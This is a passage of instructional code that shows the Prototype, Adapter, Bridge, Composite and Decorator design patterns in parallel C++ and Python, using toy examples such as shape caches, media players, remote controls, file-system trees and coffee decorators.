        std::cout << "Circle at (" << x_ << "," << y_ << ") "
                  << "with radius " << radius_
                  << " and color " << color_ << std::endl;
    }

    std::string getType() const override {
        return "Circle";
    }
};

// Concrete Prototype 2
class Rectangle : public Shape {
public:
    int width_, height_;

    Rectangle() : Shape(), width_(20), height_(10) {}

    Rectangle(int x, int y, const std::string& color, int width, int height)
        : Shape(x, y, color), width_(width), height_(height) {}

    // Copy constructor
    Rectangle(const Rectangle& other)
        : Shape(other.x_, other.y_, other.color_),
          width_(other.width_), height_(other.height_) {
        std::cout << "Rectangle copied" << std::endl;
    }

    std::unique_ptr<Shape> clone() const override {
        return std::make_unique<Rectangle>(*this);
    }

    void draw() const override {
        std::cout << "Rectangle at (" << x_ << "," << y_ << ") "
                  << "with size " << width_ << "x" << height_
                  << " and color " << color_ << std::endl;
    }

    std::string getType() const override {
        return "Rectangle";
    }
};

// Prototype Registry (Prototype Manager)
class ShapeCache {
public:
    static ShapeCache& getInstance() {
        static ShapeCache instance;
        return instance;
    }

    void loadCache() {
        auto circle = std::make_unique<Circle>(0, 0, "red", 15);
        prototypes_["red_circle"] = std::move(circle);

        auto rectangle = std::make_unique<Rectangle>(0, 0, "blue", 30, 20);
        prototypes_["blue_rectangle"] = std::move(rectangle);

        auto smallCircle = std::make_unique<Circle>(0, 0, "green", 5);
        prototypes_["small_green_circle"] = std::move(smallCircle);
    }

    std::unique_ptr<Shape> getShape(const std::string& type) {
        auto it = prototypes_.find(type);
        if (it != prototypes_.end()) {
            return it->second->clone();
        }
        return nullptr;
    }

    void addShape(const std::string& key, std::unique_ptr<Shape> shape) {
        prototypes_[key] = std::move(shape);
    }

private:
    ShapeCache() = default;
    std::unordered_map<std::string, std::unique_ptr<Shape>> prototypes_;
};

// Usage
int main() {
    // Load predefined prototypes
    ShapeCache::getInstance().loadCache();

    // Clone shapes from cache
    auto shape1 = ShapeCache::getInstance().getShape("red_circle");
    shape1->x_ = 10;
    shape1->y_ = 20;
    shape1->draw();

    auto shape2 = ShapeCache::getInstance().getShape("red_circle");
    shape2->x_ = 50;
    shape2->y_ = 60;
    shape2->draw();

    auto shape3 = ShapeCache::getInstance().getShape("blue_rectangle");
    shape3->x_ = 100;
    shape3->y_ = 100;
    shape3->draw();

    // Add custom prototype
    auto customCircle = std::make_unique<Circle>(0, 0, "yellow", 25);
    ShapeCache::getInstance().addShape("custom_yellow", std::move(customCircle));

    auto shape4 = ShapeCache::getInstance().getShape("custom_yellow");
    shape4->draw();

    return 0;
}

import copy
from abc import ABC, abstractmethod
from typing import Dict

# Prototype interface
class Shape(ABC):
    def __init__(self, x: int = 0, y: int = 0, color: str = "black"):
        self.x = x
        self.y = y
        self.color = color

    @abstractmethod
    def clone(self):
        """Return a deep copy of the object"""
        pass

    @abstractmethod
    def draw(self) -> None:
        pass

    @abstractmethod
    def get_type(self) -> str:
        pass

# Concrete Prototype 1
class Circle(Shape):
    def __init__(self, x: int = 0, y: int = 0, color: str = "black", radius: int = 10):
        super().__init__(x, y, color)
        self.radius = radius

    def clone(self):
        """Deep copy using copy module"""
        print("Circle copied")
        return copy.deepcopy(self)

    def draw(self) -> None:
        print(f"Circle at ({self.x},{self.y}) with radius {self.radius} and color {self.color}")

    def get_type(self) -> str:
        return "Circle"

# Concrete Prototype 2
class Rectangle(Shape):
    def __init__(self, x: int = 0, y: int = 0, color: str = "black",
                 width: int = 20, height: int = 10):
        super().__init__(x, y, color)
        self.width = width
        self.height = height

    def clone(self):
        """Deep copy using copy module"""
        print("Rectangle copied")
        return copy.deepcopy(self)

    def draw(self) -> None:
        print(f"Rectangle at ({self.x},{self.y}) with size {self.width}x{self.height} and color {self.color}")

    def get_type(self) -> str:
        return "Rectangle"

# Prototype Registry
class ShapeCache:
    _instance = None
    _prototypes: Dict[str, Shape] = {}

    def __new__(cls):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
        return cls._instance

    def load_cache(self) -> None:
        """Load predefined prototypes"""
        self._prototypes["red_circle"] = Circle(0, 0, "red", 15)
        self._prototypes["blue_rectangle"] = Rectangle(0, 0, "blue", 30, 20)
        self._prototypes["small_green_circle"] = Circle(0, 0, "green", 5)

    def get_shape(self, shape_type: str) -> Shape:
        """Clone a shape from the cache"""
        prototype = self._prototypes.get(shape_type)
        if prototype:
            return prototype.clone()
        raise ValueError(f"Shape type '{shape_type}' not found in cache")

    def add_shape(self, key: str, shape: Shape) -> None:
        """Add a new prototype to the cache"""
        self._prototypes[key] = shape

# Usage
if __name__ == "__main__":
    # Load predefined prototypes
    cache = ShapeCache()
    cache.load_cache()

    # Clone shapes from cache
    shape1 = cache.get_shape("red_circle")
    shape1.x, shape1.y = 10, 20
    shape1.draw()

    shape2 = cache.get_shape("red_circle")
    shape2.x, shape2.y = 50, 60
    shape2.draw()

    shape3 = cache.get_shape("blue_rectangle")
    shape3.x, shape3.y = 100, 100
    shape3.draw()

    # Add custom prototype
    custom_circle = Circle(0, 0, "yellow", 25)
    cache.add_shape("custom_yellow", custom_circle)

    shape4 = cache.get_shape("custom_yellow")
    shape4.draw()

#include <iostream>
#include <memory>
#include <string>
#include <cmath>

// Target interface - What the client expects
class MediaPlayer {
public:
    virtual ~MediaPlayer() = default;
    virtual void play(const std::string& audioType, const std::string& fileName) = 0;
};

// Adaptee 1 - Advanced MP4 player with incompatible interface
class AdvancedMP4Player {
public:
    void playMP4(const std::string& fileName) {
        std::cout << "Playing MP4 file: " << fileName << std::endl;
    }
};

// Adaptee 2 - VLC player with incompatible interface
class VLCPlayer {
public:
    void playVLC(const std::string& fileName) {
        std::cout << "Playing VLC file: " << fileName << std::endl;
    }
};

// Adapter - Adapts AdvancedMP4Player and VLCPlayer to MediaPlayer interface
class MediaAdapter : public MediaPlayer {
public:
    MediaAdapter(const std::string& audioType) {
        if (audioType == "mp4") {
            mp4Player_ = std::make_unique<AdvancedMP4Player>();
        } else if (audioType == "vlc") {
            vlcPlayer_ = std::make_unique<VLCPlayer>();
        }
    }

    void play(const std::string& audioType, const std::string& fileName) override {
        if (audioType == "mp4") {
            mp4Player_->playMP4(fileName);
        } else if (audioType == "vlc") {
            vlcPlayer_->playVLC(fileName);
        }
    }

private:
    std::unique_ptr<AdvancedMP4Player> mp4Player_;
    std::unique_ptr<VLCPlayer> vlcPlayer_;
};

// Concrete implementation of target interface
class AudioPlayer : public MediaPlayer {
public:
    void play(const std::string& audioType, const std::string& fileName) override {
        // Built-in support for mp3
        if (audioType == "mp3") {
            std::cout << "Playing MP3 file: " << fileName << std::endl;
        }
        // Use adapter for other formats
        else if (audioType == "mp4" || audioType == "vlc") {
            auto adapter = std::make_unique<MediaAdapter>(audioType);
            adapter->play(audioType, fileName);
        } else {
            std::cout << "Invalid media type: " << audioType << std::endl;
        }
    }
};

// Real-world example: Shape compatibility (legacy square to new rectangle interface)
class LegacyRectangle {
public:
    void draw(int x1, int y1, int x2, int y2) {
        std::cout << "Legacy Rectangle from (" << x1 << "," << y1
                  << ") to (" << x2 << "," << y2 << ")" << std::endl;
    }
};

// New shape interface
class Shape {
public:
    virtual ~Shape() = default;
    virtual void draw() = 0;
    virtual void resize(int percentage) = 0;
};

// Adapter for legacy rectangle
class RectangleAdapter : public Shape {
public:
    RectangleAdapter(int x, int y, int width, int height)
        : x_(x), y_(y), width_(width), height_(height) {
        legacyRect_ = std::make_unique<LegacyRectangle>();
    }

    void draw() override {
        legacyRect_->draw(x_, y_, x_ + width_, y_ + height_);
    }

    void resize(int percentage) override {
        width_ = static_cast<int>(width_ * percentage / 100.0);
        height_ = static_cast<int>(height_ * percentage / 100.0);
        std::cout << "Resized to " << width_ << "x" << height_ << std::endl;
    }

private:
    std::unique_ptr<LegacyRectangle> legacyRect_;
    int x_, y_, width_, height_;
};

// Class adapter - inherits from both target and adaptee
class ClassMediaAdapter : public MediaPlayer, private AdvancedMP4Player {
public:
    void play(const std::string& audioType, const std::string& fileName) override {
        if (audioType == "mp4") {
            playMP4(fileName);  // Direct call to inherited method
        }
    }
};

// Usage
int main() {
    // Object adapter example
    AudioPlayer player;
    player.play("mp3", "song.mp3");
    player.play("mp4", "video.mp4");
    player.play("vlc", "movie.vlc");
    player.play("avi", "movie.avi");

    std::cout << "\n---\n\n";

    // Shape adapter example
    RectangleAdapter rect(10, 20, 100, 50);
    rect.draw();
    rect.resize(150);
    rect.draw();

    return 0;
}

from abc import ABC, abstractmethod

# Target interface
class MediaPlayer(ABC):
    @abstractmethod
    def play(self, audio_type: str, file_name: str) -> None:
        pass

# Adaptee 1
class AdvancedMP4Player:
    def play_mp4(self, file_name: str) -> None:
        print(f"Playing MP4 file: {file_name}")

# Adaptee 2
class VLCPlayer:
    def play_vlc(self, file_name: str) -> None:
        print(f"Playing VLC file: {file_name}")

# Adapter
class MediaAdapter(MediaPlayer):
    def __init__(self, audio_type: str):
        self.audio_type = audio_type
        if audio_type == "mp4":
            self.advanced_player = AdvancedMP4Player()
        elif audio_type == "vlc":
            self.advanced_player = VLCPlayer()

    def play(self, audio_type: str, file_name: str) -> None:
        if audio_type == "mp4":
            self.advanced_player.play_mp4(file_name)
        elif audio_type == "vlc":
            self.advanced_player.play_vlc(file_name)

# Concrete target
class AudioPlayer(MediaPlayer):
    def play(self, audio_type: str, file_name: str) -> None:
        # Built-in support for mp3
        if audio_type == "mp3":
            print(f"Playing MP3 file: {file_name}")
        # Use adapter for other formats
        elif audio_type in ["mp4", "vlc"]:
            adapter = MediaAdapter(audio_type)
            adapter.play(audio_type, file_name)
        else:
            print(f"Invalid media type: {audio_type}")

# Legacy system adapter example
class LegacyRectangle:
    def draw(self, x1: int, y1: int, x2: int, y2: int) -> None:
        print(f"Legacy Rectangle from ({x1},{y1}) to ({x2},{y2})")

class Shape(ABC):
    @abstractmethod
    def draw(self) -> None:
        pass

    @abstractmethod
    def resize(self, percentage: int) -> None:
        pass

class RectangleAdapter(Shape):
    def __init__(self, x: int, y: int, width: int, height: int):
        self.legacy_rect = LegacyRectangle()
        self.x = x
        self.y = y
        self.width = width
        self.height = height

    def draw(self) -> None:
        self.legacy_rect.draw(self.x, self.y, self.x + self.width, self.y + self.height)

    def resize(self, percentage: int) -> None:
        self.width = int(self.width * percentage / 100)
        self.height = int(self.height * percentage / 100)
        print(f"Resized to {self.width}x{self.height}")

# Usage
if __name__ == "__main__":
    player = AudioPlayer()
    player.play("mp3", "song.mp3")
    player.play("mp4", "video.mp4")
    player.play("vlc", "movie.vlc")
    player.play("avi", "movie.avi")

    print("\n---\n")

    rect = RectangleAdapter(10, 20, 100, 50)
    rect.draw()
    rect.resize(150)
    rect.draw()

#include <iostream>
#include <memory>
#include <string>

// Implementation hierarchy
class Renderer {
public:
    virtual ~Renderer() = default;
    virtual void renderCircle(float radius) = 0;
    virtual void renderSquare(float side) = 0;
    virtual std::string getName() const = 0;
};

class OpenGLRenderer : public Renderer {
public:
    void renderCircle(float radius) override {
        std::cout << "[OpenGL] Drawing circle with radius " << radius << std::endl;
    }

    void renderSquare(float side) override {
        std::cout << "[OpenGL] Drawing square with side " << side << std::endl;
    }

    std::string getName() const override {
        return "OpenGL";
    }
};

class DirectXRenderer : public Renderer {
public:
    void renderCircle(float radius) override {
        std::cout << "[DirectX] Rendering circle with radius " << radius << std::endl;
    }

    void renderSquare(float side) override {
        std::cout << "[DirectX] Rendering square with side " << side << std::endl;
    }

    std::string getName() const override {
        return "DirectX";
    }
};

class VulkanRenderer : public Renderer {
public:
    void renderCircle(float radius) override {
        std::cout << "[Vulkan] Rendering circle with radius " << radius << std::endl;
    }

    void renderSquare(float side) override {
        std::cout << "[Vulkan] Rendering square with side " << side << std::endl;
    }

    std::string getName() const override {
        return "Vulkan";
    }
};

// Abstraction hierarchy
class Shape {
public:
    virtual ~Shape() = default;

    Shape(std::unique_ptr<Renderer> renderer)
        : renderer_(std::move(renderer)) {}

    virtual void draw() = 0;
    virtual void resize(float factor) = 0;

protected:
    std::unique_ptr<Renderer> renderer_;
};

class Circle : public Shape {
public:
    Circle(std::unique_ptr<Renderer> renderer, float radius)
        : Shape(std::move(renderer)), radius_(radius) {}

    void draw() override {
        std::cout << "Circle: ";
        renderer_->renderCircle(radius_);
    }

    void resize(float factor) override {
        radius_ *= factor;
        std::cout << "Circle resized to radius " << radius_ << std::endl;
    }

private:
    float radius_;
};

class Square : public Shape {
public:
    Square(std::unique_ptr<Renderer> renderer, float side)
        : Shape(std::move(renderer)), side_(side) {}

    void draw() override {
        std::cout << "Square: ";
        renderer_->renderSquare(side_);
    }

    void resize(float factor) override {
        side_ *= factor;
        std::cout << "Square resized to side " << side_ << std::endl;
    }

private:
    float side_;
};

// Real-world example: Remote control and devices
class Device {
public:
    virtual ~Device() = default;
    virtual void powerOn() = 0;
    virtual void powerOff() = 0;
    virtual void setVolume(int volume) = 0;
    virtual void setChannel(int channel) = 0;
};

class TV : public Device {
public:
    void powerOn() override {
        std::cout << "TV: Power ON" << std::endl;
    }

    void powerOff() override {
        std::cout << "TV: Power OFF" << std::endl;
    }

    void setVolume(int volume) override {
        std::cout << "TV: Setting volume to " << volume << std::endl;
    }

    void setChannel(int channel) override {
        std::cout << "TV: Switching to channel " << channel << std::endl;
    }
};

class Radio : public Device {
public:
    void powerOn() override {
        std::cout << "Radio: Power ON" << std::endl;
    }

    void powerOff() override {
        std::cout << "Radio: Power OFF" << std::endl;
    }

    void setVolume(int volume) override {
        std::cout << "Radio: Setting volume to " << volume << std::endl;
    }

    void setChannel(int channel) override {
        std::cout << "Radio: Tuning to station " << channel << " MHz" << std::endl;
    }
};

class RemoteControl {
public:
    RemoteControl(std::shared_ptr<Device> device)
        : device_(device) {}

    virtual ~RemoteControl() = default;

    void togglePower() {
        if (isOn_) {
            device_->powerOff();
            isOn_ = false;
        } else {
            device_->powerOn();
            isOn_ = true;
        }
    }

    void volumeUp() {
        volume_ = std::min(volume_ + 10, 100);
        device_->setVolume(volume_);
    }

    void volumeDown() {
        volume_ = std::max(volume_ - 10, 0);
        device_->setVolume(volume_);
    }

    void channelUp() {
        channel_++;
        device_->setChannel(channel_);
    }

    void channelDown() {
        channel_--;
        device_->setChannel(channel_);
    }

protected:
    std::shared_ptr<Device> device_;
    bool isOn_ = false;
    int volume_ = 50;
    int channel_ = 1;
};

class AdvancedRemoteControl : public RemoteControl {
public:
    using RemoteControl::RemoteControl;

    void mute() {
        device_->setVolume(0);
        std::cout << "Device muted" << std::endl;
    }
};

// Usage
int main() {
    // Bridge pattern with shapes and renderers
    auto circle1 = std::make_unique<Circle>(std::make_unique<OpenGLRenderer>(), 5.0f);
    circle1->draw();
    circle1->resize(1.5f);
    circle1->draw();

    std::cout << "\n";

    auto square1 = std::make_unique<Square>(std::make_unique<DirectXRenderer>(), 10.0f);
    square1->draw();

    std::cout << "\n";

    auto circle2 = std::make_unique<Circle>(std::make_unique<VulkanRenderer>(), 7.0f);
    circle2->draw();

    std::cout << "\n---\n\n";

    // Remote control example
    auto tv = std::make_shared<TV>();
    RemoteControl tvRemote(tv);
    tvRemote.togglePower();
    tvRemote.volumeUp();
    tvRemote.channelUp();

    std::cout << "\n";

    auto radio = std::make_shared<Radio>();
    AdvancedRemoteControl radioRemote(radio);
    radioRemote.togglePower();
    radioRemote.volumeUp();
    radioRemote.mute();

    return 0;
}

from abc import ABC, abstractmethod
from typing import Protocol

# Implementation hierarchy
class Renderer(ABC):
    @abstractmethod
    def render_circle(self, radius: float) -> None:
        pass

    @abstractmethod
    def render_square(self, side: float) -> None:
        pass

    @abstractmethod
    def get_name(self) -> str:
        pass

class OpenGLRenderer(Renderer):
    def render_circle(self, radius: float) -> None:
        print(f"[OpenGL] Drawing circle with radius {radius}")

    def render_square(self, side: float) -> None:
        print(f"[OpenGL] Drawing square with side {side}")

    def get_name(self) -> str:
        return "OpenGL"

class DirectXRenderer(Renderer):
    def render_circle(self, radius: float) -> None:
        print(f"[DirectX] Rendering circle with radius {radius}")

    def render_square(self, side: float) -> None:
        print(f"[DirectX] Rendering square with side {side}")

    def get_name(self) -> str:
        return "DirectX"

# Abstraction hierarchy
class Shape(ABC):
    def __init__(self, renderer: Renderer):
        self.renderer = renderer

    @abstractmethod
    def draw(self) -> None:
        pass

    @abstractmethod
    def resize(self, factor: float) -> None:
        pass

class Circle(Shape):
    def __init__(self, renderer: Renderer, radius: float):
        super().__init__(renderer)
        self.radius = radius

    def draw(self) -> None:
        print("Circle: ", end="")
        self.renderer.render_circle(self.radius)

    def resize(self, factor: float) -> None:
        self.radius *= factor
        print(f"Circle resized to radius {self.radius}")

class Square(Shape):
    def __init__(self, renderer: Renderer, side: float):
        super().__init__(renderer)
        self.side = side

    def draw(self) -> None:
        print("Square: ", end="")
        self.renderer.render_square(self.side)

    def resize(self, factor: float) -> None:
        self.side *= factor
        print(f"Square resized to side {self.side}")

# Device example
class Device(ABC):
    @abstractmethod
    def power_on(self) -> None:
        pass

    @abstractmethod
    def power_off(self) -> None:
        pass

    @abstractmethod
    def set_volume(self, volume: int) -> None:
        pass

    @abstractmethod
    def set_channel(self, channel: int) -> None:
        pass

class TV(Device):
    def power_on(self) -> None:
        print("TV: Power ON")

    def power_off(self) -> None:
        print("TV: Power OFF")

    def set_volume(self, volume: int) -> None:
        print(f"TV: Setting volume to {volume}")

    def set_channel(self, channel: int) -> None:
        print(f"TV: Switching to channel {channel}")

class RemoteControl:
    def __init__(self, device: Device):
        self.device = device
        self.is_on = False
        self.volume = 50
        self.channel = 1

    def toggle_power(self) -> None:
        if self.is_on:
            self.device.power_off()
            self.is_on = False
        else:
            self.device.power_on()
            self.is_on = True

    def volume_up(self) -> None:
        self.volume = min(self.volume + 10, 100)
        self.device.set_volume(self.volume)

    def channel_up(self) -> None:
        self.channel += 1
        self.device.set_channel(self.channel)

# Usage
if __name__ == "__main__":
    circle1 = Circle(OpenGLRenderer(), 5.0)
    circle1.draw()
    circle1.resize(1.5)
    circle1.draw()

    print()

    square1 = Square(DirectXRenderer(), 10.0)
    square1.draw()

    print("\n---\n")

    tv = TV()
    remote = RemoteControl(tv)
    remote.toggle_power()
    remote.volume_up()
    remote.channel_up()

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <algorithm>

// Component - Common interface for leaves and composites
class FileSystemComponent {
public:
    virtual ~FileSystemComponent() = default;

    virtual std::string getName() const = 0;
    virtual int getSize() const = 0;
    virtual void display(int depth = 0) const = 0;

    // Composite methods (default implementations)
    virtual void add(std::shared_ptr<FileSystemComponent> component) {
        throw std::runtime_error("Operation not supported");
    }

    virtual void remove(std::shared_ptr<FileSystemComponent> component) {
        throw std::runtime_error("Operation not supported");
    }

    virtual std::shared_ptr<FileSystemComponent> getChild(int index) {
        throw std::runtime_error("Operation not supported");
    }
};

// Leaf - File
class File : public FileSystemComponent {
public:
    File(const std::string& name, int size)
        : name_(name), size_(size) {}

    std::string getName() const override {
        return name_;
    }

    int getSize() const override {
        return size_;
    }

    void display(int depth = 0) const override {
        std::string indent(depth * 2, ' ');
        std::cout << indent << "📄 " << name_ << " (" << size_ << " KB)" << std::endl;
    }

private:
    std::string name_;
    int size_;
};

// Composite - Directory
class Directory : public FileSystemComponent {
public:
    Directory(const std::string& name)
        : name_(name) {}

    std::string getName() const override {
        return name_;
    }

    int getSize() const override {
        int totalSize = 0;
        for (const auto& child : children_) {
            totalSize += child->getSize();
        }
        return totalSize;
    }

    void display(int depth = 0) const override {
        std::string indent(depth * 2, ' ');
        std::cout << indent << "📁 " << name_ << " (" << getSize() << " KB total)" << std::endl;
        for (const auto& child : children_) {
            child->display(depth + 1);
        }
    }

    void add(std::shared_ptr<FileSystemComponent> component) override {
        children_.push_back(component);
    }

    void remove(std::shared_ptr<FileSystemComponent> component) override {
        auto it = std::find(children_.begin(), children_.end(), component);
        if (it != children_.end()) {
            children_.erase(it);
        }
    }

    std::shared_ptr<FileSystemComponent> getChild(int index) override {
        if (index >= 0 && index < children_.size()) {
            return children_[index];
        }
        return nullptr;
    }

private:
    std::string name_;
    std::vector<std::shared_ptr<FileSystemComponent>> children_;
};

// Another example: Graphics
class Graphic {
public:
    virtual ~Graphic() = default;
    virtual void draw() const = 0;
    virtual void move(int x, int y) = 0;
};

class Circle : public Graphic {
public:
    Circle(int x, int y, int radius)
        : x_(x), y_(y), radius_(radius) {}

    void draw() const override {
        std::cout << "Circle at (" << x_ << "," << y_ << ") with radius " << radius_ << std::endl;
    }

    void move(int x, int y) override {
        x_ += x;
        y_ += y;
    }

private:
    int x_, y_, radius_;
};

class Rectangle : public Graphic {
public:
    Rectangle(int x, int y, int width, int height)
        : x_(x), y_(y), width_(width), height_(height) {}

    void draw() const override {
        std::cout << "Rectangle at (" << x_ << "," << y_ << ") "
                  << width_ << "x" << height_ << std::endl;
    }

    void move(int x, int y) override {
        x_ += x;
        y_ += y;
    }

private:
    int x_, y_, width_, height_;
};

class CompositeGraphic : public Graphic {
public:
    void draw() const override {
        std::cout << "Composite graphic containing:" << std::endl;
        for (const auto& graphic : graphics_) {
            graphic->draw();
        }
    }

    void move(int x, int y) override {
        for (auto& graphic : graphics_) {
            graphic->move(x, y);
        }
    }

    void add(std::shared_ptr<Graphic> graphic) {
        graphics_.push_back(graphic);
    }

    void remove(std::shared_ptr<Graphic> graphic) {
        auto it = std::find(graphics_.begin(), graphics_.end(), graphic);
        if (it != graphics_.end()) {
            graphics_.erase(it);
        }
    }

private:
    std::vector<std::shared_ptr<Graphic>> graphics_;
};

// Usage
int main() {
    // File system example
    auto root = std::make_shared<Directory>("root");

    auto home = std::make_shared<Directory>("home");
    auto documents = std::make_shared<Directory>("documents");

    auto file1 = std::make_shared<File>("resume.pdf", 150);
    auto file2 = std::make_shared<File>("photo.jpg", 2500);
    auto file3 = std::make_shared<File>("notes.txt", 45);

    documents->add(file1);
    documents->add(file3);
    home->add(documents);
    home->add(file2);

    auto usr = std::make_shared<Directory>("usr");
    auto bin = std::make_shared<Directory>("bin");
    auto lib = std::make_shared<Directory>("lib");

    auto file4 = std::make_shared<File>("bash", 1200);
    auto file5 = std::make_shared<File>("python", 4500);

    bin->add(file4);
    bin->add(file5);
    usr->add(bin);
    usr->add(lib);

    root->add(home);
    root->add(usr);

    root->display();

    std::cout << "\n---\n\n";

    // Graphics example
    auto allGraphics = std::make_shared<CompositeGraphic>();

    auto circle1 = std::make_shared<Circle>(10, 10, 5);
    auto circle2 = std::make_shared<Circle>(20, 20, 10);
    auto rect1 = std::make_shared<Rectangle>(5, 5, 15, 20);

    auto group1 = std::make_shared<CompositeGraphic>();
    group1->add(circle1);
    group1->add(circle2);

    allGraphics->add(group1);
    allGraphics->add(rect1);

    std::cout << "Drawing all graphics:" << std::endl;
    allGraphics->draw();

    std::cout << "\nMoving all graphics by (5, 5):" << std::endl;
    allGraphics->move(5, 5);
    allGraphics->draw();

    return 0;
}

from abc import ABC, abstractmethod
from typing import List

# Component
class FileSystemComponent(ABC):
    @abstractmethod
    def get_name(self) -> str:
        pass

    @abstractmethod
    def get_size(self) -> int:
        pass

    @abstractmethod
    def display(self, depth: int = 0) -> None:
        pass

    def add(self, component: 'FileSystemComponent') -> None:
        raise NotImplementedError("Operation not supported")

    def remove(self, component: 'FileSystemComponent') -> None:
        raise NotImplementedError("Operation not supported")

# Leaf
class File(FileSystemComponent):
    def __init__(self, name: str, size: int):
        self._name = name
        self._size = size

    def get_name(self) -> str:
        return self._name

    def get_size(self) -> int:
        return self._size

    def display(self, depth: int = 0) -> None:
        indent = "  " * depth
        print(f"{indent}📄 {self._name} ({self._size} KB)")

# Composite
class Directory(FileSystemComponent):
    def __init__(self, name: str):
        self._name = name
        self._children: List[FileSystemComponent] = []

    def get_name(self) -> str:
        return self._name

    def get_size(self) -> int:
        return sum(child.get_size() for child in self._children)

    def display(self, depth: int = 0) -> None:
        indent = "  " * depth
        print(f"{indent}📁 {self._name} ({self.get_size()} KB total)")
        for child in self._children:
            child.display(depth + 1)

    def add(self, component: FileSystemComponent) -> None:
        self._children.append(component)

    def remove(self, component: FileSystemComponent) -> None:
        self._children.remove(component)

# Graphics example
class Graphic(ABC):
    @abstractmethod
    def draw(self) -> None:
        pass

    @abstractmethod
    def move(self, x: int, y: int) -> None:
        pass

class Circle(Graphic):
    def __init__(self, x: int, y: int, radius: int):
        self.x = x
        self.y = y
        self.radius = radius

    def draw(self) -> None:
        print(f"Circle at ({self.x},{self.y}) with radius {self.radius}")

    def move(self, x: int, y: int) -> None:
        self.x += x
        self.y += y

class CompositeGraphic(Graphic):
    def __init__(self):
        self.graphics: List[Graphic] = []

    def draw(self) -> None:
        print("Composite graphic containing:")
        for graphic in self.graphics:
            graphic.draw()

    def move(self, x: int, y: int) -> None:
        for graphic in self.graphics:
            graphic.move(x, y)

    def add(self, graphic: Graphic) -> None:
        self.graphics.append(graphic)

# Usage
if __name__ == "__main__":
    root = Directory("root")
    home = Directory("home")
    documents = Directory("documents")

    file1 = File("resume.pdf", 150)
    file2 = File("photo.jpg", 2500)
    file3 = File("notes.txt", 45)

    documents.add(file1)
    documents.add(file3)
    home.add(documents)
    home.add(file2)

    root.add(home)
    root.display()

    print("\n---\n")

    # Graphics
    all_graphics = CompositeGraphic()
    circle1 = Circle(10, 10, 5)
    circle2 = Circle(20, 20, 10)

    group1 = CompositeGraphic()
    group1.add(circle1)
    group1.add(circle2)

    all_graphics.add(group1)

    print("Drawing all graphics:")
    all_graphics.draw()

    print("\nMoving all by (5, 5):")
    all_graphics.move(5, 5)
    all_graphics.draw()

#include <iostream>
#include <memory>
#include <string>

// Component interface
class Coffee {
public:
    virtual ~Coffee() = default;
    virtual std::string getDescription() const = 0;
    virtual double getCost() const = 0;
};

// Concrete Component
class SimpleCoffee : public Coffee {
public:
    std::string getDescription() const override {
        return "Simple Coffee";
    }

    double getCost() const override {
        return 2.0;
    }
};

// Base Decorator
class CoffeeDecorator : public Coffee {
public:
    CoffeeDecorator(std::unique_ptr<Coffee> coffee)
        : coffee_(std::move(coffee)) {}

protected:
    std::unique_ptr<Coffee> coffee_;
};

// Concrete Decorators
class MilkDecorator : public CoffeeDecorator {
public:
    using CoffeeDecorator::CoffeeDecorator;

    std::string getDescription() const override {
        return coffee_->getDescription() + ", Milk";
    }

    double getCost() const override {
        return coffee_->getCost() + 0.5;
    }
};

class SugarDecorator : public CoffeeDecorator {
public:
    using CoffeeDecorator::CoffeeDecorator;

    std::string getDescription() const override {
        return coffee_->getDescription() + ", Sugar";
    }

    double getCost() const override {
        return coffee_->getCost() + 0.2;
    }
};

class WhippedCreamDecorator : public CoffeeDecorator {
public:
    using CoffeeDecorator::CoffeeDecorator;

    std::string getDescription() const override {
        return coffee_->getDescription() + ", Whipped Cream";
    }

    double getCost() const override {
        return coffee_->getCost() + 0.7;
    }
};

class CaramelDecorator : public CoffeeDecorator {
public:
    using CoffeeDecorator::CoffeeDecorator;

    std::string getDescription() const override {
        return coffee_->getDescription() + ", Caramel";
    }

    double getCost() const override {
        return coffee_->getCost() + 0.6;
    }
};

// Another example: Text formatting
class Text {
public:
    virtual ~Text() = default;
    virtual std::string render() const = 0;
};

class PlainText : public Text {
public:
    PlainText(const std::string& content) : content_(content) {}

    std::string render() const override {
        return content_;
    }

private:
    std::string content_;
};

class TextDecorator : public Text {
public:
    TextDecorator(std::unique_ptr<Text> text)
        : text_(std::move(text)) {}

protected:
    std::unique_ptr<Text> text_;
};

class BoldDecorator : public TextDecorator {
public:
    using TextDecorator::TextDecorator;

    std::string render() const override {
        return "<b>" + text_->render() + "</b>";
    }
};

class ItalicDecorator : public TextDecorator {
public:
    using TextDecorator::TextDecorator;

    std::string render() const override {
        return "<i>" + text_->render() + "</i>";
    }
};

class UnderlineDecorator : public TextDecorator {
public:
    using TextDecorator::TextDecorator;

    std::string render() const override {
        return "<u>" + text_->render() + "</u>";
    }
};

// Data stream example
class DataSource {
public:
    virtual ~DataSource() = default;
    virtual void writeData(const std::string& data) = 0;
    virtual std::string readData() = 0;
};

class FileDataSource : public DataSource {
public:
    FileDataSource(const std::string& filename)
        : filename_(filename) {}

    void writeData(const std::string& data) override {
        std::cout << "Writing to file '" << filename_ << "': " << data << std::endl;
        data_ = data;
    }

    std::string readData() override {
        std::cout << "Reading from file '" << filename_ << "'" << std::endl;
        return data_;
    }

private:
    std::string filename_;
    std::string data_;
};

class DataSourceDecorator : public DataSource {
public:
    DataSourceDecorator(std::unique_ptr<DataSource> source)
        : wrappee_(std::move(source)) {}

protected:
    std::unique_ptr<DataSource> wrappee_;
};

class EncryptionDecorator : public DataSourceDecorator {
public:
    using DataSourceDecorator::DataSourceDecorator;

    void writeData(const std::string& data) override {
        std::string encrypted = encrypt(data);
        wrappee_->writeData(encrypted);
    }

    std::string readData() override {
        std::string data = wrappee_->readData();
        return decrypt(data);
    }

private:
    std::string encrypt(const std::string& data) {
        std::cout << "Encrypting data..." << std::endl;
        return "[ENCRYPTED]" + data + "[/ENCRYPTED]";
    }

    std::string decrypt(const std::string& data) {
        std::cout << "Decrypting data..." << std::endl;
        // Simple decryption simulation
        if (data.find("[ENCRYPTED]") == 0) {
            return data.substr(11, data.length() - 23);
        }
        return data;
    }
};

class CompressionDecorator : public DataSourceDecorator {
public:
    using DataSourceDecorator::DataSourceDecorator;

    void writeData(const std::string& data) override {
        std::string compressed = compress(data);
        wrappee_->writeData(compressed);
    }

    std::string readData() override {
        std::string data = wrappee_->readData();
        return decompress(data);
    }

private:
    std::string compress(const std::string& data) {
        std::cout << "Compressing data..." << std::endl;
        return "[COMPRESSED]" + data + "[/COMPRESSED]";
    }

    std::string decompress(const std::string& data) {
        std::cout << "Decompressing data..." << std::endl;
        if (data.find("[COMPRESSED]") == 0) {
            return data.substr(12, data.length() - 26);
        }
        return data;
    }
};

// Usage
int main() {
    // Coffee example
